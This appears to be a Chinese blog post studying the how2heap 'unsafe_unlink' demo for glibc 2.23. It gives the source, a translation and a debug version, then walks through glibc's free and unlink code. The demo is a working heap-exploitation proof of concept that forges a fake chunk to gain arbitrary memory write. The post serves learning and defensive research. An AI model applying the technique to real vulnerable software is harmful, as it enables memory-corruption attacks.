how2heap—glibc 2.23—unsafe_unlink.c

一、源代码仓库

        跳转链接:how2heap

二、源代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
	setbuf(stdout, NULL);
	printf("Welcome to unsafe unlink 2.0!\n");
	printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
	printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
	printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

	int malloc_size = 0x80; //we want to be big enough not to use fastbins
	int header_size = 2;

	printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
	printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
	printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

	printf("We create a fake chunk inside chunk0.\n");
	printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
	printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
	printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
	printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
	printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

	printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
	printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
	chunk1_hdr[0] = malloc_size;
	printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
	printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
	chunk1_hdr[1] &= ~1;

	printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
	printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
	free(chunk1_ptr);

	printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

	printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
	printf("Original value: %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
	printf("New Value: %s\n",victim_string);

	// sanity check
	assert(*(long *)victim_string == 0x4141414142424242L);
}

三、个人翻译

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
	setbuf(stdout, NULL);
	printf("欢迎使用 unsafe unlink 2.0!\n");
	printf("测试环境 Ubuntu 14.04/16.04 64bit.\n");
	printf("当你有一个指向可以调用 unlink 的区域的指针的时候,你可以使用该技术.\n");    //不太懂,翻译的应该不太准确
	printf("最常见的情况是有一个可以被溢出的 buffer 与一个全局指针.\n");

	int malloc_size = 0x80;    //我们需要chunk足够大以至于不使用fastbins
	int header_size = 2;

	printf("本次练习的重点是使用 free 破坏全局指针 chunk0_ptr 来实现任意地址写入.\n\n");

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
	printf("全局指针位于 %p, 指向 %p\n", &chunk0_ptr, chunk0_ptr);
	printf("我们要破坏的 chunk 位于 %p\n\n", chunk1_ptr);

	printf("我们在 chunk0 中创建了一个 fake chunk.\n");
	printf("我们将 fake chunk 的 'next_free_chunk' (fd) 设置为指向 &chunk0_ptr 附近,以便实现 P->fd->bk = P.\n");
	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
	printf("我们将 fake chunk 的 'previous_free_chunk'(bk)设置为指向 &chunk0_ptr 附近,以便实现 P->bk->fd = P.\n");
	printf("这样设置可使我们绕过这一检查: (P->fd->bk != P || P->bk->fd != P) == False\n");
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
	printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
	printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

	printf("假设我们在 chunk0 中有溢出,这样我们就可以自由地更改 chunk1 的元数据.\n");
	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	printf("我们缩小 chunk0 的大小 (将其写入 chunk1 的 'previous_size'(Prev_size字段)) 这样的话 free 将会认为 chunk0 开始于我们放置 fake chunk 的地方.\n");
	printf("重要的是 fake chunk 恰好有一个已知的指针指向,并且我们相应地收缩 chunk0 .\n");
	chunk1_hdr[0] = malloc_size;
	printf("如果我们'正常'释放 chunk0 , chunk1 的 Prev_size 应该是 0x90 ,但这是他的新值: %p\n",(void*)chunk1_hdr[0]);
	printf("我们通过将 chunk1 的 Size 字段的 P 位设置为 False 来将 fake chunk 标记为空闲.\n\n");
	chunk1_hdr[1] &= ~1;

	printf("现在我们释放 chunk1 这样向后合并将 unlink fake chunk 同时覆写 chunk0_ptr .\n");
	printf("你可以在这个链接找到 unlink 宏的来源: https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
	free(chunk1_ptr);

	printf("此时我们可以使用 chunk0_ptr 覆写自身来指向一个任意地址.\n");
	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

	printf("chunk0_ptr 现在指向我们想要的地方,我们用它来覆盖我们的目标字符串.\n");
	printf("原值: %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
	printf("新值: %s\n",victim_string);

	// sanity check
	assert(*(long *)victim_string == 0x4141414142424242L);
}

        翻译水平有限,有误还望指正

删去多余的 printf 语句:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
	setbuf(stdout, NULL);
	printf("欢迎使用 unsafe unlink 2.0!\n");
	printf("测试环境 Ubuntu 14.04/16.04 64bit.\n");
	printf("当你有一个指向可以调用 unlink 的区域的指针的时候,你可以使用该技术.\n");    //不太懂,翻译的应该不太准确
	printf("最常见的情况是有一个可以被溢出的 buffer 与一个全局指针.\n");

	int malloc_size = 0x80;    //我们需要chunk足够大以至于不使用fastbins
	int header_size = 2;

	printf("本次练习的重点是使用 free 破坏全局指针 chunk0_ptr 来实现任意地址写入.\n\n");

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
	printf("全局指针位于 %p, 指向 %p\n", &chunk0_ptr, chunk0_ptr);
	printf("我们要破坏的 chunk 位于 %p\n\n", chunk1_ptr);

	printf("我们在 chunk0 中创建了一个 fake chunk.\n");
	printf("我们将 fake chunk 的 'next_free_chunk' (fd) 设置为指向 &chunk0_ptr 附近,以便实现 P->fd->bk = P.\n");
	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
	printf("我们将 fake chunk 的 'previous_free_chunk'(bk)设置为指向 &chunk0_ptr 附近,以便实现 P->bk->fd = P.\n");
	printf("这样设置可使我们绕过这一检查: (P->fd->bk != P || P->bk->fd != P) == False\n");
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
	printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
	printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

	printf("假设我们在 chunk0 中有溢出,这样我们就可以自由地更改 chunk1 的元数据.\n");
	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	printf("我们缩小 chunk0 的大小 (将其写入 chunk1 的 'previous_size'(Prev_size字段)) 这样的话 free 将会认为 chunk0 开始于我们放置 fake chunk 的地方.\n");
	printf("重要的是 fake chunk 恰好有一个已知的指针指向,并且我们相应地收缩 chunk0 .\n");
	chunk1_hdr[0] = malloc_size;
	printf("如果我们'正常'释放 chunk0 , chunk1 的 Prev_size 应该是 0x90 ,但这是他的新值: %p\n",(void*)chunk1_hdr[0]);
	printf("我们通过将 chunk1 的 Size 字段的 P 位设置为 False 来将 fake chunk 标记为空闲.\n\n");
	chunk1_hdr[1] &= ~1;

	printf("现在我们释放 chunk1 这样向后合并将 unlink fake chunk 同时覆写 chunk0_ptr .\n");
	printf("你可以在这个链接找到 unlink 宏的来源: https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
	free(chunk1_ptr);

	printf("此时我们可以使用 chunk0_ptr 覆写自身来指向一个任意地址.\n");
	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

	printf("chunk0_ptr 现在指向我们想要的地方,我们用它来覆盖我们的目标字符串.\n");
	printf("原值: %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
	printf("新值: %s\n",victim_string);

	// sanity check
	assert(*(long *)victim_string == 0x4141414142424242L);
}

四、调试

简版代码:加了一些东西方便我理解代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
	setbuf(stdout, NULL);

	int malloc_size = 0x80;    //我们需要chunk足够大以至于不使用fastbins
	int header_size = 2;

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1

	printf("chunk0_ptr = %x\n",chunk0_ptr); 
	printf("chunk0_ptr[0] = %x\n",chunk0_ptr[0]); 
	printf("chunk0_ptr[1] = %x\n",chunk0_ptr[1]); 
	printf("chunk0_ptr[2] = %x\n",chunk0_ptr[2]); 
	printf("chunk0_ptr[3] = %x\n",chunk0_ptr[3]); 
	
	printf("------------------------------------------\n"); 
	
	printf("chunk0_ptr = %x\n",&chunk0_ptr); 
	printf("chunk0_ptr[0] = %x\n",&chunk0_ptr[0]); 
	printf("chunk0_ptr[1] = %x\n",&chunk0_ptr[1]); 
	printf("chunk0_ptr[2] = %x\n",&chunk0_ptr[2]); 
	printf("chunk0_ptr[3] = %x\n",&chunk0_ptr[3]);

	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
	
	printf("\n------------------------------------------\n\n"); 

	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	chunk1_hdr[0] = malloc_size;
	chunk1_hdr[1] &= ~1;
	printf("header_size = %d\n",header_size);
	printf("chunk1_ptr = %p\n",chunk1_ptr);
	printf("chunk1_hdr = %p\n",chunk1_hdr);
	printf("chunk1_hdr[0] = %p\n",chunk1_hdr[0]);
	printf("&chunk1_hdr[0] = %p\n",&chunk1_hdr[0]);
	printf("chunk1_hdr[1] = %p\n",chunk1_hdr[1]);
	printf("&chunk1_hdr[1] = %p\n",&chunk1_hdr[1]);
	
	free(chunk1_ptr);

	
	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

	printf("原值: %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
	printf("新值: %s\n",victim_string);

	// sanity check
	assert(*(long *)victim_string == 0x4141414142424242L);
}

chunk0_ptr 是一个存储值为堆地址(0x1fd3010)的指针,本身地址为(0x601078)

chunk0_ptr[0] 是 chunk0_ptr 存储值处的存储值,chunk0_ptr[0] 的地址就是堆地址(0x1fd3010),chunk0_ptr[0] 的值就是堆地址(0x1fd3010)处存的值

 下面这句看得我很懵,所以用IDA反编译了一下:

        uint64_t *chunk1_hdr = chunk1_ptr - header_size;

        我们的 hedaer_size 是函数内部 int 类型值为 2 的变量,但从汇编代码来看先是将 header_size 左移了三位(也就是乘以8),然后取反(变为负数)再加给 chunk1_ptr,而不是直接给 chunk1_ptr 减 2。

        所以总的效果就是 chunk1_ptr 减了 0x10 。也许是因为指针减法默认会乘 8 的原因吧。

 逐句分析:

int main()
{
	setbuf(stdout, NULL);

	int malloc_size = 0x80;    //我们需要chunk足够大以至于不使用fastbins
	int header_size = 2;

    //1、申请 chunk0、chunk1
	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0 , chunk0_ptr 指向 chunk0 的 user_data 字段
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1

    //2、在 chunk0 user_data 字段下方伪造了 fake chunk 的 fd、bk
	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

    //3、修改 chunk1 的 Prev_size 字段为 0x80 同时将其 Size 字段的 P 位置 0
	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	chunk1_hdr[0] = malloc_size;  //fake chunk 的 Prev_size 字段赋值为 0x80
	chunk1_hdr[1] &= ~1;  //fake chunk 的 Size 字段的 P 位设置为 1
    //此时 chunk1 就变成了空闲 chunk , Prev_size 为 0x80 刚好可以索引到伪造的 fake chunk 的 fd、bk
	
    //4、触发unlink
	free(chunk1_ptr);

	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

    //5、修改目标值
	printf("原值: %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
	printf("新值: %s\n",victim_string);

	// sanity check
	assert(*(long *)victim_string == 0x4141414142424242L);
}

1、申请 chunk0、chunk1

 2、在 chunk0 user_data 字段下方伪造了 fake chunk 的 fd、bk

 3、在 chunk1 (chunk1_ptr) 的低地址 0x10 的位置伪造一个 fake chunk (chunk1_hdr)

4、触发unlink

        这一步 unlink 到底做了什么?看到 fake chunk 的 Size 字段变得这么大,我们很快就可以想到可能是因为 fake chunk 与 chunk1、Top chunk 发生了合并,但事实真的是这样吗?继续调试:

可以看到,在执行完 _int_free 后 fake chunk 的 size 字段被修改,跟进 _int_free 看看

总之是在下图的前面不知道多少步,直接就把 fake chunk 的 Size 字段修改了,反正我现在懵了

因为他是直接就把 fake chunk 的 Size 字段修改了,所以就很奇怪

然后我又调了一遍,就是在 _int_free+2046 这一步执行完后就变了

这是当时的现场:

在前面一点点我看到了这个函数:__dso_handle,查了一下,貌似无关

所以 fake chunk 到底是如何与 Top chunk 合并的?

参考链接:内存管理:malloc主释放过程_int_free - 知乎 (zhihu.com)

在以上博客中看到了这句,有没有可能是执行到了这,但这里并没有 unlink 操作,就很奇怪

这里有 unlink 操作,这是向前合并,要是执行到这,下面那句 Size += nextsize 肯定会修改某个 chunk 的 Size 值,但我调试过程中并没有发现哪个 chunk 存在这样的 Size 改动

重点来了:

接着我又继续了许久的调试、查阅博客与思路整理,终于找到了一个我自认为合理的解释:

参考链接:Glibc堆块的向前向后合并与unlink原理机制探究

 /* consolidate backward */
4277            if (!prev_inuse(p)) {
4278              prevsize = prev_size (p);
4279              size += prevsize;
4280              p = chunk_at_offset(p, -((long) prevsize));
4281              unlink(av, p, bck, fwd);
4282            }
4283        
4284            if (nextchunk != av->top) {
4285              /* get and clear inuse bit */
4286              nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
4287        
4288              /* consolidate forward */
4289              if (!nextinuse) {
4290                unlink(av, nextchunk, bck, fwd);
4291                size += nextsize;
4292              } else
4293                clear_inuse_bit_at_offset(nextchunk, 0);
4294
4295              /*
4296                Place the chunk in unsorted chunk list. Chunks are
4297                not placed into regular bins until after they have
4298                been given one chance to be used in malloc.
4299              */
4300        
4301              bck = unsorted_chunks(av);
4302              fwd = bck->fd;
4303              if (__glibc_unlikely (fwd->bk != bck))
4304                malloc_printerr ("free(): corrupted unsorted chunks");
4305              p->fd = fwd;
4306              p->bk = bck;
4307              if (!in_smallbin_range(size))
4308                {
4309                  p->fd_nextsize = NULL;
4310                  p->bk_nextsize = NULL;
4311                }
4312              bck->fd = p;
4313              fwd->bk = p;
4314        
4315              set_head(p, size | PREV_INUSE);
4316              set_foot(p, size);
4317        
4318              check_free_chunk(av, p);
4319            }
4320        
4321            /*
4322              If the chunk borders the current high end of memory,
4323              consolidate into top
4324            */
4325        
4326            else {
4327              size += nextsize;
4328              set_head(p, size | PREV_INUSE);
4329              av->top = p;
4330              check_chunk(av, p);
4331            }

首先,第4步:free(chunk1_ptr);

chunk1_ptr 指向我们的 chunk1,也就是 free 掉的是 chunk1 

(1)、起初,它会执行这段代码对我们的 fake chunk 进行向后合并:

这里的 size 只是一个变量,它的值并没有写入内存。

(2)、然后,因为 chunk1 的 next chunk 为 Top chunk ,这个 if 分支就无法进入

(3)、转而执行下面这行代码 

我们之前看到的瞬间 fake chunk 的 Size 字段就变得跟 Top chunk 差不多大就是因为这里的 set_head() 函数

(4)、所以总体上第4步:free(chunk1_ptr); 就是执行了一次向后合并,合并了 chunk1 与 fake chunk,然后再将合并后的 chunk 与 Top chunk 合并,最后再修改新的 Top chunk 的 Size 字段 

那么对于 chunk1 向后合并 fake chunk:这里的 p 是 chunk1,Prev_size 是 0x80

//摘自https://www.jianshu.com/p/1f4b054d6bfc
 if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
 }

然后进入 unlink:因为 unlink 前将 p 重新赋值了,也就是 unlink 传入的 p 是 chunk1 与 fake chunk 合并后的 chunk ,而不是原始的 chunk1 

//摘自https://www.jianshu.com/p/1f4b054d6bfc
#define unlink(AV, P, BK, FD) {                                            
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))    /*检查chunk的size字段*/
      malloc_printerr ("corrupted size vs. prev_size");                              
    FD = P->fd;                                                                     
    BK = P->bk;                                                                    
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))/*检查chunk的fd 和bk是否正确,这里也是unlink要绕过的地方*/                     
      malloc_printerr ("corrupted double-linked list");                             
    else {                                                                   
        FD->bk = BK;                                   
        BK->fd = FD;                                                            
        if (!in_smallbin_range (chunksize_nomask (P))                             
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {                     
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)             
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))   
              malloc_printerr ("corrupted double-linked list (not small)");  
            if (FD->fd_nextsize == NULL) {                                      
                if (P->fd_nextsize == P)                                     
                  FD->fd_nextsize = FD->bk_nextsize = FD;                    
                else {                                                             
                    FD->fd_nextsize = P->fd_nextsize;                             
                    FD->bk_nextsize = P->bk_nextsize;                             
                    P->fd_nextsize->bk_nextsize = FD;                            
                    P->bk_nextsize->fd_nextsize = FD;                             
                  }                                                             
              } else {                                                             
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;                    
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;                  
              }                                                                  
          }                                                                    
      }                                                                        
}

分析两步检测是否能够被绕过:

__builtin_expect (chunksize(P) != prev_size (next_chunk(P))

__builtin_expect (FD->bk != P || BK->fd != P, 0)

神奇的一幕来了,刚好 0 = 0 ,绕过了第一步检测(不知道我的分析是否正确)

第一步检测后会对FD、BK进行赋值

        FD = P->fd;        //正常情况下把 bin 中 P 的前一个 free 的 chunk 赋值给 FD
        BK = P->bk;       //正常情况下把 bin 中 P 的后一个 free 的 chunk 赋值给 FD

所以 P、FD、BK 都各自指向一个 chunk

第二步检测:FD->bk != P || BK->fd != P

        我们的 P 目前是 0x602010,可以看到 FD 的 bk 以及 BK 的 fd 指向同一个内存单元,并且这个内存单元存储的值就是 0x602010,为什么这么巧呢?

        因为我们最开始的全局指针 chunk0_ptr 的地址就是 0x601070 ,通过以下代码

        chunk0_ptr = (uint64_t*) malloc(malloc_size);

        申请 chunk0 后,全局指针 chunk0_ptr 指向了 chunk0 的 user_data 字段(0x602010),chunk0 的起始地址是(0x602000),chunk0 的 Size 字段是(0x602008)也就是上图的 91 那里

        而我们伪造的 fake chunk 的起始地址就是(0x602010),满足了我们的 fake chunk 被一个已知指针指向这一条件。

        接下来就是这两句将 chunk0_ptr 的地址 0x601070 伪装成了 P 的 fd 的 bk 以及 P 的 bk 的 fd

        chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);

        chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

就这样,第二步检测也被绕过了

最后执行这两句将 chunk0_ptr 变成了一个指向比自身低 0x18 地址的指针,

用偏移来表示就是 chunk0_ptr[3] = chunk0_ptr

 第一段给 chunk0_ptr[3] 赋值为 victim_string 的地址,chunk0_ptr[3] 是 chunk0_ptr 的地址

因为第一段已经将 victim_string 的地址赋给了 chunk0_ptr 的值,所以第二段中的 chunk0_ptr[0] 表示的就是 victim_string 的地址,给它重新赋值自然就覆盖了原始 victim_string 的值

五、Unlink 

        参考链接1:前、后向合并及 unlink 源码

        参考链接2:力荐,必看

        参考链接3:ctf-wiki

参考链接1单独看不懂的话可以联合参考链接2看

注意这对花括号,中间的部分是对 large chunk 的操作,对非 large chunk 的操作就只有 FD->bk = BK; BK->fd = FD; 这两句  

参考链接2中对  FD->bk = BK; BK->fd = FD; 这两句的解读:

 以及参考链接3中对  FD->bk = BK; BK->fd = FD; 这两句的图读:

 注:fd、bk都指向 Prev_size ,Prev_size、Size各占 0x8 字节,所以 fd 相对 Prev_size 的偏移为0x10,bk 相对 Prev_size 的偏移为 0x18 .

//向后合并源码,摘自参考链接1
  if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));  
      //p为低地址处物理相邻的第一个 chunk,top chunk 在高地址
      unlink(av, p, bck, fwd);
    }


//向前合并源码
 if (nextchunk != av->top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);/*这里检查下下个chunk的flag标志位*/
      /* consolidate forward */
      if (!nextinuse) {
        //p为高地址处物理相邻的第一个 chunk,top chunk 在高地址
        unlink(av, nextchunk, bck, fwd);
        size += nextsize;
      }
.......

#define inuse_bit_at_offset(p, s)\
  (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)

六、其他调试

1、调试 chunk 的 Size 字段中的 P 位是如何变化的

//gcc -g -o xxx xxx.c
#include<stdio.h>
#include<stdlib.h>
int main()
{
    char *xy0,*xy1,*xy2;
    malloc(0x20);
    xy0 = malloc(0x20);
    malloc(0x20);
    xy1 = malloc(0x20);
    malloc(0x20);

    free(xy0);
    free(xy1);
    xy2 = malloc(0x20);
    free(xy2);

    printf("xy");
    printf("666\n");

    return 0;
}

 可以看到,xy0、xy1 被 free 后各自的物理相邻的高地址堆块的 P 位都变成了 0

 下图截取自:参考链接

2、调试 chunk 合并后的 Size 字段与 Size 字段中的 P 位是如何变化的

#include<stdio.h>
#include<stdlib.h>
int main()
{
    char *xy0,*xy1,*xy2;
    malloc(0x20);
    xy0 = malloc(0x20);
    //malloc(0x20);
    xy1 = malloc(0x20);
    malloc(0x20);

    free(xy0);
    free(xy1);
    //xy2 = malloc(0x20);
    //free(xy2);

    printf("xy");
    printf("666\n");

    return 0;
}

 xy1、xy2 合并成一个大小为 0x60 的 chunk ,新合成的 chunk 高地址处物理相邻的第一个 chunk 的 Prev_size 字段变为新合成的 chunk 的大小,并且其 Size 字段中的 P 位变为 0(说明新合成的 chunk 为空闲 chunk) 

注:0x411 大小的 chunk 是 printf() 引起的。Top chunk 在高地址 0x602000 相对 Top chunk 是低地址。

 3、分析 unlink 源码

向前合并:

//向前合并源码
//摘自https://www.jianshu.com/p/1f4b054d6bfc
 if (nextchunk != av->top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);/*这里检查下下个chunk的flag标志位*/
      /* consolidate forward */
      if (!nextinuse) {
        //p为高地址处物理相邻的第一个 chunk,top chunk 在高地址
        unlink(av, nextchunk, bck, fwd);
        size += nextsize;
      }
.......

#define inuse_bit_at_offset(p, s)\
  (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)

        ①:这里的 next chunk 就是我们要合并的 free chunk。

        ②:首先判断 next chunk 的 next chunk 的 Size 字段中的 P 位来判断 next chunk 是否为 free chunk 是的话才对 next chunk 进行 unlink 操作

        这里我们假设 next chunk 是空闲 chunk ,那么将会执行 unlink(av, nextchunk, bck, fwd); 即 unlink 操作

        注意这里传入的是 next chunk ,next chunk 就是本身要执行 unlink 操作的 chunk ,而不是要执行 unlink 操作的 chunk 的 next chunk

接下来我们看 unlink 源码:传入的 next chunk 在 unlink 函数里面变为了 P

//摘自https://www.jianshu.com/p/1f4b054d6bfc
#define unlink(AV, P, BK, FD) {                                            
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))    /*检查chunk的size字段*/
      malloc_printerr ("corrupted size vs. prev_size");                              
    FD = P->fd;                                                                     
    BK = P->bk;                                                                    
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))/*检查chunk的fd 和bk是否正确,这里也是unlink要绕过的地方*/                     
      malloc_printerr ("corrupted double-linked list");                             
    else {                                                                   
        FD->bk = BK;                                   
        BK->fd = FD;                                                            
        if (!in_smallbin_range (chunksize_nomask (P))                             
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {                     
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)             
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))   
              malloc_printerr ("corrupted double-linked list (not small)");  
            if (FD->fd_nextsize == NULL) {                                      
                if (P->fd_nextsize == P)                                     
                  FD->fd_nextsize = FD->bk_nextsize = FD;                    
                else {                                                             
                    FD->fd_nextsize = P->fd_nextsize;                             
                    FD->bk_nextsize = P->bk_nextsize;                             
                    P->fd_nextsize->bk_nextsize = FD;                            
                    P->bk_nextsize->fd_nextsize = FD;                             
                  }                                                             
              } else {                                                             
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;                    
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;                  
              }                                                                  
          }                                                                    
      }                                                                        
}

两句检测:

__builtin_expect (chunksize(P) != prev_size (next_chunk(P))

__builtin_expect (FD->bk != P || BK->fd != P, 0)

第一句:

    ①: 这里是判断 next chunk 的 Size 字段是否等于 next chunk 的 next chunk 的 Prev_size 字段
    ②: 因为 next chunk 为 free 状态(之前的假设,否则执行不到unlink函数),所以 next chunk 的 next chunk 的 Size 字段的 P 位为 0 ,所以正常情况下这句检测能通过

    ③:所以第一句检测检测了一个 free chunk 以及它高地址的后一个物理相邻的 chunk 

第二句:

    ①:因为 next chunk 为 free 状态(之前的假设),存在 fd、bk 字段

    ②:第一句检测过后,会执行 FD = P->fd; BK = P->bk; 这两句,FD = P->fd,是将 next chunk 在 bin 中逻辑相连的前一个空闲堆块地址赋值给 FD,BK = P->bk 则是逻辑相连的后一个空闲堆块地址赋值给 BK

    ③:所以第二句检测了 next chunk 在 bin 中的逻辑相邻的前一 free chunk 的后一空闲 chunk 是否为 next chunk 与后一 free chunk 的前一空闲 chunk 是否为 next chunk 

综上:所以这两步判断分别对 next chunk(P) 物理相邻堆块与 bin 中相邻的前后两个堆块分别做了判断,所以在利用 unlink 时我们要同时构造好这两个地方才能对 unlink 进行利用

检测过后就会执行以下两句:

FD->bk = BK;                                   
BK->fd = FD;

根据之前的分析,可以看到:

        第一句 FD->bk = BK;  是将 next chunk 在 bin 中的前一空闲 chunk 的 bk 修改为了 next chunk 在 bin 中的后一空闲 chunk 的地址 (可用于任意写)

        第二句 BK->fd = FD;   是将 next chunk 在 bin 中的后一空闲 chunk 的 fd 修改为了 next chunk 在 bin 中的前一空闲 chunk 的地址 (可用于任意写)

实现的效果就是将 next chunk 从 bin 中删除掉,同时将 next chunk 在 bin 中的前后两个 chunk 连接好,这样 next chunk 也就算是删除完毕了

最后向前合并再执行size += nextsize; 将 next chunk 跟物理相邻的前一 chunk 合就算结束了:

/* consolidate forward */
if (!nextinuse) {
  //p为高地址处物理相邻的第一个 chunk,top chunk 在高地址
  unlink(av, nextchunk, bck, fwd);
  size += nextsize;
}

所以向前合并就是先将目标 chunk 在 bin 中清除,然后再将它高地址物理相邻的 chunk 的 size 变大就算实现了这两个 chunk 的合并

向后合并:

//摘自https://www.jianshu.com/p/1f4b054d6bfc
 if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
 }

向后合并就不细致分析了,个人来看就是:

